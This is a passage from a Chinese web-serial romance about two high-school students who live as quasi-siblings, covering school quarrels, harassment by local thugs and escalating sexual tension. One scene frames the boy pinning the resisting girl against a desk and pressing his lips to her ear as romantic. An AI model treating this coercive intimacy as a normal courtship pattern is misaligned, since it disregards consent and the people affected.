孔净伸手把碗扶住了。 陈端抬眼,孔净接住他冷清视线,“我比你大,是姐姐。” 不需要这种对待弱小一方的安抚。 况且就算在陈端眼里她不是弱小一方,这种动作也……太亲密了。 或许他只应该拿去对待他喜欢的女生。 “姐姐?” 陈端缓慢吐出这两个字,缱绻意味太浓,常规化的亲情部分少得可怜。 孔净皱眉,“不是吗?” 她端起面前的餐盘和喝剩的饮料瓶起身。 纤瘦的背影朝餐具回收处那边移动,高高的马尾轻盈扫动校服后襟,很漂亮,但是头也不回的样子很决绝。 陈端盯着她的背影看了好一会儿,直到孔净重新绕回到座位边,问他:“不走吗?” 他才端着吃剩的汤碗起身。 两人直接从楼梯下去,一楼出口处也有餐具回收车。 他们在楼上待的有点久,大部分人已经撤离食堂,校道上显得很安静,只有教学楼和操场那边不时传来几声呼喊和笑闹声,声音在湛蓝的天空中盘旋,传到他们耳边时只剩下一点点无可捉摸的尾音。 正午的阳光直晒在身上,还是会感觉有点热。孔净想把校服拉链拉开,拉到一半,拉链头卡在中间,用力扯了几下还是不行。 “我来。” 一直插兜走在她身侧的人长腿左移,转个身,随即高挺身影站定在她身前,一下遮住阳光,灰淡的影子将她整个笼住。 孔净垂眼看见青石砖上两双同款不同色的板鞋尖对尖,挤压得没有一点缝隙。 她甚至要脚趾用力紧紧扣在原地,才能避免因为陈端的逼势而后退一步。 她又闻见他身上那股清冽的皂香味,隐隐带着不知从何而来的攻势。 “你就没有什么想问我的?” 头顶上方忽然响起陈端好听的嗓音。 “什么?” 孔净脸上一片空白,过了两秒,她说:“问了你就会说吗?” “你先问。” 陈端指尖勾着她的校服拉链已经快要拉到底部,金属拉链头被他体温浸热。 孔净看他,大概是在太阳底下站太久,他身上那股皂香被烘热,闻起来更加凌冽了。 她清了下喉咙,开口道:“昨天没上课去哪儿了?” 陈端微微眯起眼眸,直直看着她近在咫尺的一张一合的漂亮唇瓣。 他还记得指腹从那上面擦滑过的触感。 他想听她问的不是这句。 “怎么不说了?”孔净没有察觉到危险。 陈端静了静,一下将她的校服拉链拉到底,冷白指尖抬起,伸向她的脸。 孔净在被他触碰到之前往后退了半步,绕过他,大步往前走。 “骗子。” 陈端左手在澄明阳光中停顿一秒,然后转身跟上她。 “嗯,我是。” 孔净胸口起伏错乱,回头看他一眼,“脸皮真厚。” 陈端笑起来,“我是。” 孔净不理他了。 但少年高挺清冷的身影一直跟在她身后,只要孔净回头就能看见。 快要走到教学楼的时候,孔净慢下脚步,强硬下指令,“下午放学来教室外面等我,不止,以后每天中晚饭都一起吃。” 没听见应答,孔净想起什么,“如果你要和别人吃也行,总之,别再逃课了。” 别人? 哪个别人? 话音落地,教学楼二楼非常应景地传来一道明亮女声,“姐姐!陈端!嗨——!” 戴望雅趴在走廊栏杆上,笑容无比明媚。 她最近收敛了一些,没再穿那些奢牌公主风套装,但是她把校服做了更改,原本的直筒裤改成小脚裤,短袖上衣的衣摆在侧腰上打了个结,头上依旧戴着那个闪亮的蝴蝶造型发卡。 一眼看上去,和走廊上其他同样穿蓝白校服的女生完全处在不同滤镜下。 别人都是朴实高中生风,她还是藏不住的明艳千金风。 随着孔净视线上移,陈端也朝楼上看过去。 尽管隔得远,但戴望雅捕捉到陈端目光里的警告意味。 想起那天晚上他的威胁,戴望雅压下心里的愤怒,直接无视他,然后又冲着孔净喊了声姐姐,并示意孔净看手机。 孔净点开屏幕,陈端仗着身高随意一扫就看见那个聊天框。 他扯唇,“还聊上了?” 孔净继续往7班教室走,一边低头打字,一边说:“她约我国庆去逛书店。” “行,孟书宇不是国庆也要回来?不如一起。” 身侧传来少年讥讽嗓音。 孔净指尖在屏幕上方悬停半秒,而后快速删掉拒绝的话,直接敲了个“好”字过去。 “好啊,我跟孟学长说。”她回。 孔净和陈端陷入一场无形又奇怪的拉锯。 表面上是孔净盯着陈端不让他离开学校,逃不逃课已经无所谓,就算上课时间跑去操场打球或者躺在宿舍睡觉,只要他人在学校就行。 但陈端本质上根本不是服管的人。 换句话说,他其实大多数时候都对孔净言听计从,就算不听,也会亮出两个酒窝敷衍过去。 起码维持了虚假和平。 可显然,现在不是“大多数时候”。 孔净越是盯得严,陈端就越是翻墙翻得频繁。 有时专门翘掉半节课居然就只是坐在奶茶店里听歌,如此种种,孔净面上不显,其实心里已经狂躁得想要把陈端抓来暴打一顿。 周六下午放学,孔净连陈端的面都不想见,就想背起书包就走,眼不见为净。 但是心里再怎么抗拒,难道真的能放任不管? 不能。 于是孔净气鼓鼓地去18班抓人。 刚要踏上台阶最后一步就听见前面走廊上传来一个流里流气的男声,“哎这不是我们端哥的女朋友吗?你好啊嫂子。” “你们谁啊?” 戴望雅被这一声喊得有点飘,但是眼前这两个男的一个寸头花臂另一个黄毛,一看就不是什么好人。 “我们是端哥的兄弟。嫂子,改天跟端哥一块儿来玩。”黄毛吸吸鼻子,贪婪地打量戴望雅。 戴望雅皱眉,本能就想把故意缩短的上衣放下来,遮住露出的腰。 视线一抬,看见从楼梯间转上来的人,她眼睛一亮,声音比平时都大些,“姐姐!你来找陈端吗?” 话音落地,那两个外校人也都跟着转头。 “姐姐~~!”李哲已经毕业两年,但身上莫名穿着职高的校服。 大概是因为闽城这边的初高中校服都是蓝白款式,遮住学校名字,趁着放学人来人往,很容易就从校门混进来。 他把校服外套搭在一边肩膀上,上半身只有一件灰色工字背心,因为瘦,背心没有帮他达成型男的目标,反而衬得像一支弯扭的竹竿。 但手臂上的彩色纹身很惹眼,在高中校园这种环境尤其显得狰狞。 自从听阿禾说过那件事之后,李哲这帮人在孔净眼里就跟蛆虫没什么两样。 她冷着脸没理会,而是问戴望雅:“陈端呢?” “已经走了。”戴望雅边说边走到孔净身侧,语气有点小窃喜,“他没跟你说吗?” 孔净没答,转身原路返回。 戴望雅跟在她身后,李哲和黄毛不近不远地也往楼道这边走。 并且他们时不时吹一声口哨,说些“嫂子好漂亮”、“嫂子腰好细腿好长”之类带骚扰性质的话。 戴望雅跋扈地回头瞪一眼,李哲和黄毛反而笑得更欢说得更嗨了。 “他们为什么光针对我?”戴望雅倒不怕他们会在学校里做什么事情来,就是觉得恶心,像被两只癞蛤蟆隔空舔了。 孔净说:“我又不是嫂子。” 戴望雅:“……” 她摸了摸头上的蝴蝶发卡,心里莫名觉得被阴阳了,但是孔净一本正经,令她完全找不到证据。 孔净回教室拿书包,戴望雅也跟着进来,她回头看一眼在教室外等着的李哲和黄毛,烦躁道:“他们到底是来找陈端还是来恶心我的?!” 她说着就拿出手机,肉桂色的美甲因为奇快的打字速度而在夕阳余光里晃成了尖锐的虚影。 孔净和她错身而过,扫见她正在和司机发短信,好像是喊他赶紧把车开到校门口等着。 “等等我!”戴望雅见孔净从后门出去,收了手机跟上来。 “姐姐我明天去你家和你一起做作业好不好?”戴望雅冷却几天之后,又原形毕露贴上来。 “……” 你觉得我像是想做幼师的样子吗? 孔净不说话,后面李哲和黄毛的声音却是不断。 因为戴望雅一直走在孔净身边,李哲和黄毛跟着戴望雅就是变相跟着孔净。 校道上人很多,被两个流氓样的外校人跟在身后,很瞩目也很烦。 孔净还是没忍住,转身,“你们——” “吵到姐姐了?派些(对不起)!我们这就走!” 李哲弓着腰抬起两只手做投降状,转而看一眼孔净身边的戴望雅,“嫂子,以后见面的机会很多!下回请兄弟几个喝杯奶茶,反正嫂子有的是钱!” 黄毛又吸了吸鼻子,对着戴望雅嘿嘿笑几声,然后才跟着李哲离开。 戴望雅起了一身鸡皮疙瘩,“他什么意思?他刚才是不是在威胁我?!” “你之前见过李哲他们?”孔净问。 “什么折?我怎么可能会认识这种阴沟里的老鼠!” “哦,陈端也和他们认识。” 戴望雅:“……陈端、陈端跟他们不一样!” 孔净没问哪里不一样,继续往车棚方向走。 她正想打电话给陈端,就看见淡橘色的棚架下少年跨坐在自行车上的散漫身影。 就在孔净视线落下的下一秒,少年偏头看过来。 夕阳将他的身影勾出柔和毛边,这个瞬间,他给人一种错觉,温驯,乖巧。 但孔净知道不是。 所谓的温驯与乖巧只是他外表给人造成的假象,骨子里他就是一个恣意、自我到无法无天的人。 气死人。 戴望雅也知道不是。 因为再一次,她感受到陈端投来的沉冷视线。 “姐姐我先走了。” 戴望雅维持着傲娇,没跟陈端搭话,转身仰起下巴就往校门那边去了。 孔净走到近前,看见陈端手机屏幕上一只吃到快爬不动的彩色贪吃蛇。 “……”孔净猛踢一下自行车胎,“你最后一节课不上,就是跑来这里玩这个??” 是真的没办法不暴躁! 陈端随着车子歪了下,右脚点地维持平衡,转头看过来的眼神甚至还有几分无辜和茫然,“不行吗。” 孔净终于知道为什么会发明速效救心丸这种东西了。 她把陈端从自己车上推开,调个头,骑着就走了。 奈何校道上蓝白校服三三两两,根本不适合骑车,没过五十米就被陈端追上了。 烟蓝色自行车并排在旁边,初中就喜欢玩的把戏到现在都还乐此不疲。 他说他记不得八岁以前的事情,因为他的八岁和别人的三岁差不多,可孔净觉得他的十八岁也未必能比得上别人的三岁。 孔净白他一眼。 怕撞到人,还是下来把车推着走。 孔净一直没说话,火气肉眼可见地在身上凝聚。 陈端全然不察的样子,甚至出了校门之后还问她要不要喝奶茶。 “刚才李哲混进学校去你们班找你。”孔净打断他的散漫。 陈端“哦”一声,十分的轻描淡写。 孔净抿紧唇,嘴角止不住地轻抖。 “说好的好好的,你到底在干什么?” 陈端终于收起那副轻慢表情,他看着孔净:“什么叫好好的?” 孔净不明白,“不是说过了吗?一年以后我们一起考——” “一年以后太久,现在呢?”陈端淡声问。 孔净忽然觉得他无理取闹,“只要你不逃课好好待在学校,我们就能好好的。” “这就是你随便找个女生把我推出去的理由?” 陈端脸上浮现一种嘲讽的笑意,静黑的眼眸折射出来的光却那么锐利,不仅割伤了别人,也残害了自己。 孔净被他的眼神伤到,同时也觉得好笑,“我把你推出去?戴望雅不是我让她转学的吧,你们晚上在围墙下拥抱接吻不是我硬绑着你们的吧?!你凭什么说是我推的?!!” “你看,你不是什么都知道,”陈端并未因为孔净突然爆发的怒意而后退,他反而有条不紊地步步逼近,他脸上的讥笑也愈加明显,他问孔净,“又为什么装不知道?” “我知不知道又怎么样?难道我叫你不要这样,你就不这样?我叫你不要抱她不要亲她,你就不——” “对。你还不清楚吗?” 陈端胸腔微微起伏着,说出来的话音量并不大,却犹如山石崩落,“轰”地一声炸响在孔净耳边。 然后,世界都静止了。 第40章 青春期躁动 孔净攥紧车把手, 在与陈端的视线碰撞中率先转过了头。 “我不清楚。” 她回了这句,在原地停了几秒,是想直接骑车走人的,但想到刚才在学校里看到李哲, 她就又打消了这个念头。 “……回家再说。” 孔净转回脸, 语气软了半分。 一路上没人说话, 随着季节的推进,日落的时间逐渐提前,他们到石材厂时天空是半透明的靛蓝色, 不远处西边的厂房被地平线上残存的霞光烘成暗红色,与悬挂中空的冰黄薄月形成鲜明对比。 晚上, 孔净坐在书桌前看书,照明灯很亮, 显得她落伏在桌面上的影子很淡。 房间里很安静, 偶尔响起她翻开书页的脆响, 以及从身后传来的沙沙声。 陈端在画画。 孔净没有回头,但知道他还是那个半靠在床头、一只腿屈起架着素描本的姿势,也知道他的视线转圜于纸面和她的背影之间。 毫无疑问,他又在画她。 孔净的背有点僵, 背后整片皮肤也有点烫。 说不上来, 这么凉爽的夜晚, 她居然觉得热。 书没翻过多少页,身上的黏腻越来越重,她忍无可忍,把书倒扣在桌面上起身。 椅子腿划过没有贴砖的水泥地发出刺耳声响,半躺在床上的人视线轻飘落在她身上,“去哪儿?” 他的嗓音不似几个小时前在学校里那般紧绷, 相反,声带十分放松,甚至带着一点笑的。 孔净面色如常地看他一眼,“洗澡。” “嗯。” 孔净蹲在两张单人床之间的狭窄过道上,从床底下拖出收纳箱翻找换洗的衣服。 贴身内衣单独装在一个棉布收纳袋里,她松开袋口的束绳时,身后的床板传来咯吱一声,孔净转头,陈端若无其事地挑起眼皮,视线清清淡淡。 “变态。” “……?” 孔净从收纳袋里随便抓了两片布料,混在睡衣和浴巾里,起身就走了。 二十分钟之后,她站在浴室里看着手上两条同款不同色的棉内裤,足足愣了三秒。 水汽氤氲,垂在身前的湿发发尾落下水珠,把手上的两片布料洇湿,她想起刚才在屋子里陈端抵在床头看她的那一眼,不由得皱紧了眉头。 自乱阵脚的人天然处于下风,孔净脑海里莫名显出这句话。 她湿着手抓起浴巾,胡乱擦掉身上的水渍,换下来的内衣已经被她在洗澡的过程中搓洗干净,她无奈将它展开,上半身前倾试着把它套上,冰凉的布料贴上皮肤的瞬间她不由得打了个摆子。 这种感觉太难受了。 于是,当她回到楼上推开房门时,就是里面穿着长袖睡衣,外面套校服短袖,并且黑色湿发分成两束垂在胸前的造型。 没看那个还倚在单人床上的人,孔净微微弓着背不疾不徐地绕过他床尾往里边走去。 “唰”地一下把挡帘拉个严实,蹲在过道上伸手去掏那个收纳袋。 陈端其实根本没懂她刚才为什么骂他变态,他心情挺好,还以为孔净是在赌气,冷白手掌抬起长指夹着挡帘边缘撩起一角。 影子晃动,孔净眼皮一弹,转头就对上陈端清白视线。 她手里还拿着刚掏出来的白色文胸,肩膀遮住大半,但以陈端略高的视角还是窥见了一角。 他目光微顿,脸上的酒窝也定格一霎,扫过孔净身上的怪异装束,然后才意识到什么。 撩起挡帘的指背有些僵,但他没有把手收回来。 孔净指尖抓着文胸,也没有惊慌收起的意思。 拉锯仍在继续,特别在陈端说出“你还不清楚吗?”,而孔净回以“我不清楚”之后,绷在他们两人之间的皮筋拉到最紧,已有断裂的迹象。 这个时候,谁先回避,就等于亲手扯断皮筋,然后被弹伤。 “请你注重一下我的隐私。” 孔净先开口,耳后皮肤很燥,但是语调很平稳。 陈端“嗯”一声。 然而,他忽然展现出骨子里恶劣的那一面,冷清视线如有实质地从下往上一撩,孔净是转头背对着他的,正面没有被他看到的可能,但是他目光一寸寸抵着孔净纤薄背脊,穿过校服和睡衣布料。 孔净后背皮肤被温水浸过一样,既轻柔又湿重。 她忽然伸手把掀起的挡帘一角从他指间撤走。 随着棉布料在指缝中流失,垂落,陈端的视线也随之被隔绝。 他听见拖鞋后跟擦过水泥地的声音,以为孔净要出去,却见她走到门边,“咔”一声合上老式插销。 孔净把门反锁了。 陈端左手撑在格子床单上坐直了些,轻蹙一下眉,眯起的眼眸露出几分错愕。 孔净没看他,径直走回到挡帘后面,“别看我。” 实际上心跳声已经大过呼吸声,她脑子又乱又清醒,几乎是背对着挡帘而站,她两手交错抓住衣服下摆就往上扯,后背最先接触到夜晚的空气,然后是手臂、身前、脖子,把衣服顺着领口从脑袋整个扯走,及腰长的湿发落下,贴在净白皮肤上,像拢着一件镂空且透明的绸缎披肩。 衣料的摩挲声挺大,听不见挡帘背后少年的动静。 浴室里的湿热的空气却像被引到了房间里,孔净身体前倾,两片杯型布料将将贴上皮肤,身后忽然传来床板咯吱声。 孔净动作一顿,两手翻折都背后,指尖捏住排扣,有点乱了,怎么也扣不上。 她呼吸微沉,床板的咯吱声接连响起,孔净倏然出声:“敢偷窥你就死定了!” 分贝比平时说话的音量高几分,但语调还是那么冷静,带着姐姐的权威。 挡帘后,坐直了本想转过去背对着的陈端:“……” 谁偷窥? 他被激到,干脆又躺回去,“怎么个死法?” 声音有点哑,有点沉,他自己都愣了一下。 忽然,“唰”的一下,左手边挡帘被一只白皙手臂伸来,一下拉开,晃晃悠悠,底部悬空一下又一下甩打着墙壁。 孔净没穿睡衣,因为扣子不好弄,她把那件半湿不湿的校服短袖套在外面,双颊被闷得又红又潮,但眼睛仍旧冷静,甚至有点锐利。 她就站在过道上,因为站着的缘故,所以是以一种居高临下的姿态看着半躺在床上的人。 “人如果连自己的思维和身体都管不住,和低等动物又有什么区别。” 陈端视线无法控制地飘过她被校服遮挡住的微微隆起,迟了半秒才将她这句话灌进脑子里。 抬眼去看孔净的脸,视线焦点却是她被水汽氤氲过的豆沙色唇瓣。 脑子不听使唤,找不出反驳的话,也并没有完全理解孔净忽然说这句是什么意思。 紧接着就看见孔净手臂一挥,什么东西在他眼前打着虚影破空晃过,“你——嗯!!!” 陈端上半身和下半身同时对折一僵,从喉咙里冲出一声闷哼。 孔净可能是练过,抓着睡衣随便一甩,两条空荡荡的衣袖就像两个巴掌,“啪啪”给了陈端两耳光。 说是耳光不太准确,因为没打在陈端脸上,而是小腹极其以下那片特殊部位。 陈端两腿大喇喇敞着,完全没料到孔净会突然来这手。 弹痛直冲大脑。 孔净也有点懵,但打都打了,不可能亡羊补牢来一句没想打那儿。 她直视着床上的人。 陈端脸上又白又青,卸下皮相福利赐予的清冷俊美,表情实在精彩得可以。 牙关紧咬,而后舌尖用力抵腮,生平第一次很想弄人,但,又弄不了。 “你看我干什么?”孔净恶人先告状。 陈端:我他…… “你是不是在心里骂我?”孔净转头看向自己的床,那架势说不是在找工具再来一次都没人信。 陈端条件反射地抬手往下边挡。 动作做到一半发觉这和怂挂边,于是又收回来。 没找到工具又把头转回来的孔净:“……” 不服、暴躁但无济于事的陈端:“……” 空气凝滞两秒。 “好了,今天的事就当没发生。”孔净抿了下唇,弯腰就捞走了那件还盖在陈端胯部的睡衣。 “孔净你真是……” 打完人了说当没发生,陈端要被气笑。 可惜,笑不出来。 孔净往门口方向走,但觉得话没说透,于是又停下,“就当你是青春期躁动,就这样,我原谅你了,以后别提了。” 说完,开门出去。 门没关严,和半开的窗户形成穿堂风,门板被一只无形的手拉来推去,撞击着门框。 就在又要再一次发出杂音时,一只长腿忽然伸过来,一踹。 “诓!” 门阖上了。 陈端冷脸品爵着孔净刚才最后一句。 青春期躁动。 原谅你了。 冷白手掌撑在身后,几条青筋脉络凸起,黑白格子床单被压出重重纹路。 她以为他是什么? 因为发|情但找不到发泄对象,所以饥不择食选择对身边人下手的野狗吗? Fu……ck! 孔净回楼下浴室把睡衣换回来,脱下来的校服短袖混着之前换下来的衣服一起放在桶里,拎着去厂里的公用水槽清洗。 这个点挺晚了,但是长长的水槽前还是有两三个嬢嬢弯着腰边利落地揉搓着槽子里的衣物边大声说着话,几个小孩在旁边追逐打闹。 “诶孔净,过来这里洗。”嬢嬢们看见孔净都很热情,“高三了哦,学习压力大得很哦。” 孔净笑一下,“还好。” 她找了个光线较为明亮的位置,先把水槽冲干净然后才开始洗衣服。 离她近点的嬢嬢转头,借着灯光才看清,“哎呀你脸怎么这么红?是不是感冒了?” 孔净“啊”了一声,手上还有肥皂水都忘了,抬起来就往脸上抹。 “没有,才洗了澡,被闷的吧。” “没感冒就好。正是换季的时候,一早一晚温度低,中午又热,最容易感冒了……” 嬢嬢絮絮叨叨。 孔净没怎么听清,她俯下身,捧了几捧凉水往脸上浇,洗掉肥皂沫的同时也降温。《 》 40-50 第41章 姐姐,我就是动物 洗衣服再晾衣服, 花的时间比平时长点。 再回到楼上,见房门紧闭,手掌下意识在衣服上揩了下,是干的, 没有想象中的湿漉水汽。 开门进去, 以为陈端可能出去了, 却见他仰躺在床上,单手搭在眉骨上,墨羽似的长睫在眼睑下方拓下两扇阴影。 她反手关上门, 合页发出异响,平时觉很轻的人居然纹丝不动。 孔净走到书桌前掏出那个挨墙压在一摞书下面的铁盒子, 动作不轻不重,转头, 陈端还是没动静。 孔净觉得事情还是一鼓作气做完比较好, 于是走到他床尾, 伸腿就“哐哐”踢两下。 陈端一米八五的体型压着床板,随着这动静也只是蜻蜓点水地轻晃了一下。 然而,他还是没醒。 “……” 孔净加重力道又踢。 床上那人“嘶”一声,眼皮冷冽撩起, 紧接着就感觉有什么东西砸落在自己身上。 陈端一下撑坐起来, 垂眼却看见胸前T恤上掉着一张卡片。 “这什么?”他语气平直, 压制着还未自我消化完的怒气。 孔净说:“银行卡。” 陈端:“我不瞎。” 孔净:“那你问我。” “……” 陈端想到之前陪孔净去书店看到的一本漫画,书名叫《就喜欢你看不惯我又干不掉我的样子》。 孔净现在的样子就和那本漫画封面上的欠揍猫一模一样。 沉了一口气,磨着性子问:“银行卡,干什么的?” “给你。” “给我干什么?” 挤牙膏似的一来一回。 孔净:“给你用。” 陈端眉心皱起,沟壑深沉,石料场里几百吨石块都填不满。 “不需要。”他语气骤然变冷。 孔净说:“你拿着, 里面的钱不多,不到两万。高三剩下的时间不要再逃课了,好好在学校待着。” 这张卡里的钱,有很小的时候帮孔大勇跑腿买酒他忘记要回去的找零,有初中不吃早饭剩下的生活费,有和阿禾利用假期去森林里埋头就是一下午换来的采菇钱,还有向杂志投稿、给苏苏当家教、靠成绩获得奖学金等等方式,一点一点像蚂蚁搬运一样积攒起来的全部私房钱。 因为从小的生长环境,孔净没有足够的安全感,这些钱她攒了很多很多年。 “不需要。” 陈端重复一遍,长指夹着那张hello kitty的联名银行卡,冷拔身形从床上站起,随着距离拉近,身影压迫性地盖在孔净身上。 孔净后腰抵着书桌边缘,因为用力,所以硌得有点疼。 她仰头看向站在自己面前的人,“现在先用着,以后你再还我。” “看我可怜?” 陈端垂眼,眼里的讽刺尖锐至极。 “干嘛一定要把话说得这么难听?你明知道我不是这个意思。” 孔净率先收起自己身上的刺,每次提到钱都很敏感,寄人篱下已经失了先机,她不想让陈端因此更加感到自尊心受挫。 “你不是也送我手机了吗?”她语气轻软些了,临时想出理由,“就当、就当提前送你的生日礼物。” “还我?” 陈端扯唇。 孔净发现他们两个好像又回到了初二那年因为一周八十块的生活费而陷入鬼打墙式的口舌之争。 可她也不是没脾气,明知不是这样,非要这么说。 “对,你想怎么想就怎么想。” 孔净心烦,侧身就想往床边走。 手腕却被突然的力量牢牢箍住。 陈端往前半步,捉着孔净手腕的同时垂下头来。 留给孔净的空间小得可怜,在书桌和陈端之间她快要喘不过气。 “你想干什么?”她抿紧唇,类似猫眼的双眼,后尾微微泛红。 陈端的鼻尖几乎要触碰到孔净的脸,两人身上一样又不一样的皂香剧烈碰撞、交织。 可他还在继续往下,脸对脸,视线冷钉子一样钉死在孔净的双唇上。 孔净不想退却,刚才她已经用极端的方式把快要拉断的皮筋变松了,她不要再变成被动的一方。 可是,可是陈端的呼吸已经洒在她的上唇,如果他再往下,他们就会—— 在发生那种事之前,孔净猛地侧过脸。 陈端的唇干燥、滚烫,随着她的动作从她嘴角划过脸颊,在她耳根停顿很短的时间。 “放开!” 孔净用力挣脱。 但身高、体型悬殊,无论她怎么使劲,还是被困住。 隔着衣料紧密摩挲,嚓嚓的细碎声音在房间里四散。 就在孔净准备张口咬人的时候,陈端空着的左手从她身边擦过,手掌“啪”的一下撑在桌子边缘。 一瞬间,孔净完完全全被他囚禁,他手臂上的疤痕真正成了囚锁。 “给我钱还我,说我青春期躁动原谅我,好,那你告诉我,你又为什么要当着我的面脱衣服穿衣服?孔净,你到底把我当什么?” 陈端满身戾气,双唇烫得惊人,贴着孔净的耳朵问她。 孔净在轻微地抖,她不清楚是被气的,还是被吓的,还是说是别的什么原因。 她低下头,额头抵在陈端的胸口,以此让两人贴在一起的身体远一些。 “就是字面上的意思,青春期躁动,”她声音很闷,语调不平,极力维持着逻辑,“动物本来生理上的反应。我们其实早就应该分开住,天天搅在一起,生理上的反应会让人产生错觉,你们男生不是自然就有晨……勃的现象吗?没有人在身边也会晨|勃,有人在旁边也许会误以为是因为这个人才这样!但其实不是!!如果不克制就会犯错……” “所以你是在身体力行地告诉我,我只是个犯了错的动物。我就算起了什么念头,也不该对着你,对吗?” 还是把他当狗。 陈端嗓音低沉冷峭,一把热沙似的滚进孔净的耳朵,她浑身都烧起来了。 “对!就是这样!你明白了吗?这不对!!” 孔净受不了这么长时间的身体接触,已经完完全全越线了。 但陈端不这么觉得,他恶劣至极,事情一旦做了就要往极端的方向发展。 他牢牢困住身前的人,双唇烙铁一样从贴着孔净的耳朵变成要含不含,孔净疯了一样推他,踩他的脚,用膝盖顶他。 可不敢出声了。 因为李贤梅和孔大勇的房间就在隔壁,她怕自己失控招来他们。 这个显而易见的弱点被陈端抓住,何况还存在巨大的体型体力差距,陈端燃着蓝色焰火一样压迫在身前。 他告诉孔净:“抱歉,姐姐。你说对了,我就是动物。所以,你做好准备了吗?” 十年,这是陈端第一次正式对孔净使用这个称呼。 却是在这种逾越背德的时候。 孔净浑身战栗。 但下一秒,所有桎梏烟消云散。 紧紧抵压在她身上的人退后两步,静黑的眸子稍稍眯起,像是在等待,又像是在观察她有没有做好准备。 孔净没有停顿,在陈端往后退的同时她往前,鞋尖抵着鞋尖,扬手就挥上去。 一声脆响。 陈端的脸被打偏,他吮吸着口腔里的铁锈味。 孔净拢紧双臂,太晚了不敢出门怕引起李贤梅的注意,只能转向靠窗的床。 扯动帘子的手很用力,上面的铁丝都往下坠了几分,像是要掉下来。 爬上床的速度也很快,拖鞋都踢飞到床底下,孔净靠墙侧躺着,从头到脚把自己盖在被子里。 却没有哭出来,也没有流眼泪,只是平静地抱着自己。 几分钟之后,她听见脚步声响起,不是往这边。 然后是门板开合的声音。 陈端出去了。 孔净心想,皮筋彻底断了。 陈端整晚没有回来。 灯一直开着,孔净迷迷糊糊睡着了又惊醒,爬起来看一眼,旁边那张单人床有些凌乱,维持着他走之前的痕迹,对面书桌上丢着那张银行卡。 她看了眼手表,凌晨两点多。 还是起来找到手机,给他发了一条短信。 【在哪儿?】 意料之中,他没回。 孔净抿着唇,坐在椅子上有点失神。 过了会,点开虚拟拨号键盘输入一串数字,那头隔了很久才接,一个男声打着呵欠喂了一声。 今晚在网吧前台值夜班的不是Lily,而是网管小哥。 孔净问陈端在那儿吗。 网管小哥因为熬夜脑子宕机,过了好几秒才听明白孔净在说什么,他呼呼哈哈地说:“不在,没有这人。” 孔净怀疑他可能找都没找就这么说了。 “可以麻烦——” 那头挂了。 孔净心绪起伏,又坐了一会儿,只得打给当事人。 孔净以为他不会接,意外的是响了十来秒,居然通了。 听到那句低沉的“怎么”,她愣了一下,然后才说:“你在哪里?不回来吗?” 那头有呜呜的风声,隐约还有浪潮拍击的声音,临水镇近海,孔净猜他可能在海边。 这么想着,对面的人忽然轻笑一下,略微沉哑的嗓音变得润泽起来,他说:“我可以理解成你在邀请我回去吗?” 邀请? 这词用得蹊跷,孔净一时没答。 下一秒,陈端散漫戏谑的嗓音再次追过来:“我回去会发生些什么,姐姐知道吗?” 孔净的脸一下涨红,压着声音厉声喊他名字。 “嗯,我在。” 陈端又笑了下,仿佛很以孔净的失态为乐。 其实对于陈端和外貌完全不相符的极端和恶劣,孔净并没有太多实感。初中石料场的事她也只是在赵长那儿听了只言片语,具体过程如何她完全不知情。 阿禾私下倒是跟孔净提过,她说陈端性格捉摸不定,加上外表太具蛊惑性,所以很有可能出现说说笑笑就被他捅一刀的情况。 这话太夸张,孔净也只是听听。 不过现在,孔净不仅明白了阿禾说的意思,还切身体会了一把。 真的,太过分了。 “你以后都不打算回来了吗?!”孔净绷着语气问他。 “不是姐姐说要分开住?”陈端在那头戏谑道,“还是说姐姐改变主意,已经做好准备——” “啪!” 孔净把电话挂了。 她攥着手机,嘴唇气得发白。 坐了很久都没完全平复。 她忽然起身走到靠门的那张单人床前,弯下腰对着床上的被子邦邦就是两拳。 床板跟着“咯吱咯吱”响。 孔净深呼吸几口,关了灯,躺回自己床上。 入睡困难,想到阿禾有次提议放假去鬼屋玩,但没等孔净发表意见她又说不去了,原因是怕孔净会殴打工作人员。 “我有这么暴力吗?不要污蔑我。”孔净当时立即反驳。 可阿禾说:“平时当然超级温和nice,但是啊,要是被惹到,你真的超凶!这样说起来,你和陈端其实有一丢丢像,真的很适合当姐弟诶!” 眼下,孔净翻个身,暴躁地想,鬼才和他像! 第42章 聊聊 陈端不仅周六一晚上没回来, 周日整个白天也没有出现。 孔净没睡好,但还是按照平时的生物钟起很早。 “昨天晚上你们在屋里干什么?” 身后忽然传来声音,孔净吓了一跳,站在灶台前熬粥, 手里的汤勺都差点掉了。 孔净转过身对上李贤梅审视的目光, 不确定她在隔壁房间听到了什么。 “没干什么。”孔净说。 “你现在说谎是越来越不用打草稿了!声音那么大, 以为我聋吗?” 孔净心跳到嗓子眼,不敢想如果被李贤梅发现会是什么后果。 “……没。” 李贤梅眉头皱得很紧,但又奇异地笑了一下, “你和你的好弟弟吵架了?” 孔净一愣,捏着汤勺的力道陡然松了几分, “嗯,是吵架了。他不好好学习, 我……” 李贤梅转头就走了。 如果孔净说的是她发现陈端是个坏东西所以和他吵然后把他撵出去, 也许李贤梅还有兴趣听, 但为了陈端学习操心? 在李贤梅的角度,陈端就不该上高中,当初就应该进职高,毕业之后直接找个工作! 孔净在家里总有些提心吊胆, 一方面担心陈端不回来, 另一方面又担心他回来之后又故意说些出格的话被李贤梅发现。 她惴惴不安地在书桌前坐了一上午, 吃过午饭之后,借口说要去书店买复习资料,背着包就走了。 自行车穿过厂区宽阔的柏油路,两侧尖锐的机器运转声一下一下钉着孔净的太阳穴,是缺觉引起的偏头痛。 她没去书店,犹豫片刻, 绕去了网吧。 没进去,车子骑进窄巷,远远看见那辆烟蓝色自行车横停在白线框里,莫名嚣张。 孔净停在一处矮墙下,高一点的居民楼花窗影子照在身上。 原本打算原路折回,Lily出来抽烟恰好看见她,笑哈哈地喊她:“孔净,过来啊!姐姐请你吃烧仙草!” 声音响亮,并且她又穿得那么艳丽,外面几个同样出来抽烟的网瘾少年瞬间吹起了口哨。 少年们一边喊着“姐姐我也要吃”,一边冲孔净“妹妹过来,我也请你”。 秋日午后,幽静的居民楼窄巷顿时变得欢闹鲜活。 “吃屁啊你们!”Lily笑骂他们一句,还是不停冲孔净招手。 孔净没过去,摇摇头,两根手指在半空中走两步,表示我先走了。 “哎孔净——” Lily目光追着孔净的背影,细跟鞋在地上跺了跺。 有个抽烟的少年问她:“姐,刚才那谁啊?皮肤那么白,金水咧(好漂亮)!” “怎样?别肖想了,人家是好学生!”Lily点了一根女士烟,斜眼表示警告。 “问一下嘛。” “等会被陈端知道你肖想他姐——诶陈端,正说你呢。” Lily话说一半,余光扫见从门口出来的人。 